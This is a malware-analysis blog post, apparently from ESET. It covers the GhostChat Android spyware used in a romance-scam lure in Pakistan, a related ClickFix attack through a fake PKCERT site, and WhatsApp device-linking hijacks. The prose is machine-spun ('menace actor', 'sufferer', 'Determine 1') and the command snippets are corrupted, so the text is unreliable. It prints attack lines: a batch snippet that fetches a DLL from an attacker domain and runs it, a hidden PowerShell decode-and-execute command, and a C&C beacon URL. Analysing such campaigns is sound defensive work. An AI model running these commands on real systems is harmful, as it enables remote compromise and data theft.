Pretend relationship app used as lure in focused spyware and adware marketing campaign in Pakistan

ESET researchers have uncovered an Android spyware and adware marketing campaign leveraging romance rip-off ways to focus on people in Pakistan. The marketing campaign makes use of a malicious app posing as a chat platform that permits customers to provoke conversations with particular “ladies” – pretend profiles most likely operated through WhatsApp. Beneath the romance charade, the actual objective of the malicious app, which we named GhostChat, is exfiltration of the sufferer’s knowledge – each upon first execution and regularly whereas the app is put in on the machine. The marketing campaign employs a layer of deception that we have now not beforehand seen in comparable schemes – the pretend feminine profiles in GhostChat are offered to potential victims as locked, with passcodes required to entry them. Nevertheless, because the codes are hardcoded within the app, that is only a social engineering tactic probably aimed to create the impression of “unique entry” for the potential victims. Whereas we don’t understand how the malicious app is distributed, we assume that this exclusivity tactic is used as a part of the lure, with the purported entry codes distributed together with the app.

Additional investigation revealed that the identical menace actor seems to be working a broader spy operation – together with a ClickFix assault resulting in the compromise of victims’ computer systems, and a WhatsApp device-linking assault having access to victims’ WhatsApp accounts – thus increasing the scope of surveillance. These associated assaults used web sites impersonating Pakistani governmental organizations as lures.

GhostChat, detected by ESET as Android/Spy.GhostChat.A, has by no means been accessible on Google Play. As an App Protection Alliance associate, we shared our findings with Google. Android customers are routinely protected in opposition to identified variations of this spyware and adware by Google Play Defend, which is enabled by default on Android gadgets with Google Play Companies.

Key factors of this blogpost:

• ESET researchers uncovered an Android spyware and adware marketing campaign that makes use of romance rip-off ways to focus on people in Pakistan.
• GhostChat, the malicious app used within the marketing campaign, poses as a relationship chat platform with seemingly locked feminine profiles. Nevertheless, for the reason that entry codes are hardcoded within the app, that is only a trick to create the impression of unique entry.
• As soon as put in, the GhostChat spyware and adware allows covert surveillance, permitting the menace actor to observe machine exercise and exfiltrate delicate knowledge.
• Our investigation revealed additional actions carried out by the identical menace actor: an assault involving ClickFix, which methods customers into executing malicious code on their computer systems; and a WhatsApp assault that exploits the app’s link-to-device function to entry victims’ private messages.

Overview

On September 11^th, 2025, a suspicious Android utility was uploaded to VirusTotal from Pakistan. Our evaluation revealed that whereas the app makes use of the icon of a reliable relationship app, it lacks the unique app’s performance and as a substitute serves as a lure – and power – for cell espionage.

The malicious app, which we named GhostChat, has by no means been accessible on Google Play, and it required guide set up by customers who needed to allow permissions for putting in apps from unknown sources. As soon as the app is put in, its operators can monitor, and exfiltrate delicate knowledge from, the sufferer’s machine.

Though the marketing campaign seems to be targeted on Pakistan, we at the moment lack adequate proof to attribute it to a selected menace actor.

Assault circulation

As illustrated in Determine 1, the assault begins with the distribution of GhostChat – a malicious Android app (bundle identify com.datingbatch.chatapp) disguised to look as a reliable chat platform referred to as Courting Apps with out cost; this reliable app is out there on Google Play and is unrelated to GhostChat aside from via the latter utilizing its icon. Ghostchat’s supply and mode of distribution stay unknown.

Upon execution, GhostChat requests a number of permissions, as seen in Determine 2. After the permissions are granted, the app presents the person with a login display. With a purpose to proceed, victims should enter login credentials, as proven in Determine 3.

Opposite to how a reliable verification would usually work, the credentials are hardcoded within the utility code, as seen in Determine 4, and will not be processed by any server. This suggests that each the app and the credentials are distributed collectively, most likely by the menace actor.

As soon as logged in, victims are offered with a number of 14 feminine profiles, every that includes a photograph, identify, and age. All profiles are marked as Locked, and tapping on one in every of them prompts the sufferer to enter an unlock code, as seen in Determine 5.

These codes are additionally hardcoded and never validated remotely, suggesting that they’re most likely preshared with the sufferer. Every profile is linked to a selected WhatsApp quantity with a Pakistani (+92) nation code. The numbers are embedded within the app, as seen in Determine 6, and can’t be modified remotely. This implies that the operator both owns a number of Pakistani SIM playing cards or has entry to a third-party supplier who sells them. Using native numbers reinforces the phantasm that the profiles are actual people based mostly in Pakistan, rising the credibility of the rip-off.

Upon coming into the right code, the app redirects the person to WhatsApp to provoke a dialog with the assigned quantity – presumably operated by the menace actor.

Whereas the sufferer engages with the app, even earlier than logging in, the GhostChat spyware and adware runs within the background and silently displays machine exercise and exfiltrates delicate knowledge to a C&C server; see Determine 7.

Past preliminary exfiltration, GhostChat engages in lively espionage: it units up a content material observer to observe newly created photographs and uploads them as they seem. Moreover, it schedules a periodic activity that scans for brand new paperwork each 5 minutes, guaranteeing continuous surveillance and knowledge harvesting.

The preliminary knowledge exfiltration contains the machine ID, contact listing within the type of a .txt file (uploaded to the C&C server from the app’s cache), and recordsdata saved on the machine (photographs, PDFs, Phrase, Excel, PowerPoint recordsdata, and Open XML file codecs).

Associated exercise

Throughout our investigation, we recognized associated actions and found a connection: a DLL file, as illustrated in Determine 8.

Additional evaluation of the C&C server utilized by GhostChat revealed three further recordsdata speaking with the identical server, which have been uploaded to VirusTotal; see Determine 9. These embrace two batch scripts and one DLL file.

The batch recordsdata have been designed to obtain and execute a DLL payload from the URL https://hitpak.org/notepad2[.]dll. On the time of study, the DLL was not accessible on the server, however the intent was clearly to ship and run malicious code on the sufferer’s machine. Beneath is a snippet of the script:

echo powershell -Command “Invoke-WebRequest -Uri ‘https://hitpak[.]org/notepad2.dll’ -OutFile ‘%TEMPpercentnotepad2.dll'”
echo timeout /t 10
echo rundll32.exe “%TEMPpercentnotepad2.dll”,notepad

ClickFix assault

The third file – a DLL file hosted at https://foxy580.github[.]io/koko/file.dll – served because the payload in a separate ClickFix-based assault. ClickFix is a social engineering approach that methods customers into manually executing malicious code on their gadgets by following seemingly reliable directions. ClickFix depends on person interplay – usually via misleading web sites or pretend alerts – to information victims into downloading and working malicious scripts. This assault used a pretend web site impersonating Pakistan’s Laptop Emergency Response Crew (PKCERT), positioned at https://buildthenations[.]data/PKCERT/pkcert.html, as proven in Determine 10.

The location displayed a fabricated safety warning allegedly affecting nationwide infrastructure and authorities networks, urging customers to click on an Replace button. This motion triggered ClickFix directions, as seen in Determine 11, which led to the obtain and execution of the malicious DLL. The marketing campaign was publicly recognized by a self-described safety researcher __0XYC__ on X.

File.dll

The DLL payload used within the ClickFix marketing campaign displays basic C&C conduct with a concentrate on distant code execution. As soon as loaded, the DLL initiates communication with its C&C server by sending the compromised machine’s username and pc identify to:

https://hitpak[.]org/web page.php?tynor=sss

If the DLL fails to retrieve both the username or pc identify, it substitutes them with default placeholders – UnUsr most likely for unknown person and UPC for unknown PC – guaranteeing the request nonetheless reaches the server.

Following this preliminary handshake, the DLL enters an infinite loop, making requests to the C&C server each 5 minutes, awaiting directions. The server responds with a base64-encoded PowerShell command, which the DLL executes utilizing the next methodology:

powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command “[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(‘‘)) | Invoke-Expression”

This strategy permits the operator to execute arbitrary PowerShell instructions on the sufferer’s machine with out triggering seen alerts, leveraging PowerShell’s flexibility and stealth capabilities.

On the time of study, the C&C server didn’t reply with any PowerShell payloads, suggesting both a dormant stage of the marketing campaign or that the server was awaiting particular sufferer identifiers earlier than issuing instructions.

WhatsApp-linking assault

Along with desktop concentrating on within the ClickFix assault, the area buildthenations[.]data was utilized in a mobile-focused operation aimed toward WhatsApp customers. Victims have been lured into becoming a member of a supposed group – posing as a channel of the Pakistan Ministry of Defence (Determine 12) – by scanning a QR code to hyperlink their Android or iPhone machine to WhatsApp Internet or Desktop.

Generally known as GhostPairing, this method permits an adversary to realize entry to the sufferer’s chat historical past and contacts, buying the identical stage of visibility and management over the account because the proprietor, successfully compromising their personal communications. This isn’t the primary time we have now seen menace actors attempting to hijack victims’ messaging accounts. In 2023 China-aligned APT group GREF used BadBazaar Android malware to secretly autolink victims’ Sign accounts to the attacker’s machine, which allowed the menace actor to spy on their victims’ Sign communications.

After scanning the QR code offered by the pretend Ministry of Defence web site, the sufferer will observe, as anticipated, {that a} new machine had been linked to their WhatsApp accounts. After a while, WhatsApp additionally sends notifications to victims, alerting them {that a} new machine had been linked to their accounts, as seen in Determine 13.

Taken collectively, these findings recommend a coordinated, multiplatform marketing campaign that blends social engineering, malware supply, and espionage throughout each cell and desktop environments.

Conclusion

This investigation reveals a extremely focused and multifaceted espionage marketing campaign aimed toward customers in Pakistan. At its core is a malicious Android utility disguised as a chat app, which employs a novel romance rip-off tactic requiring credentials and unlock codes to provoke communication – a stage of effort and personalization not generally seen in cell threats.

As soon as put in, the app silently exfiltrates delicate knowledge and actively displays the machine for brand new content material, confirming its position as a cell surveillance instrument. The marketing campaign can be related to broader infrastructure involving ClickFix-based malware supply and WhatsApp account hijacking methods. These operations leverage pretend web sites, impersonation of nationwide authorities, and misleading, QR-code-based machine linking to compromise each desktop and cell platforms.

For any inquiries about our analysis printed on WeLiveSecurity, please contact us at threatintel@eset.com. 

ESET Analysis provides personal APT intelligence stories and knowledge feeds. For any inquiries about this service, go to the ESET Risk Intelligence web page.

IoCs

A complete listing of indicators of compromise (IoCs) and samples will be present in our GitHub repository.

Recordsdata

Community

MITRE ATT&CK methods

This desk was constructed utilizing model 17 of the MITRE ATT&CK cell methods.

This desk was constructed utilizing model 17 of the MITRE ATT&CK enterprise methods.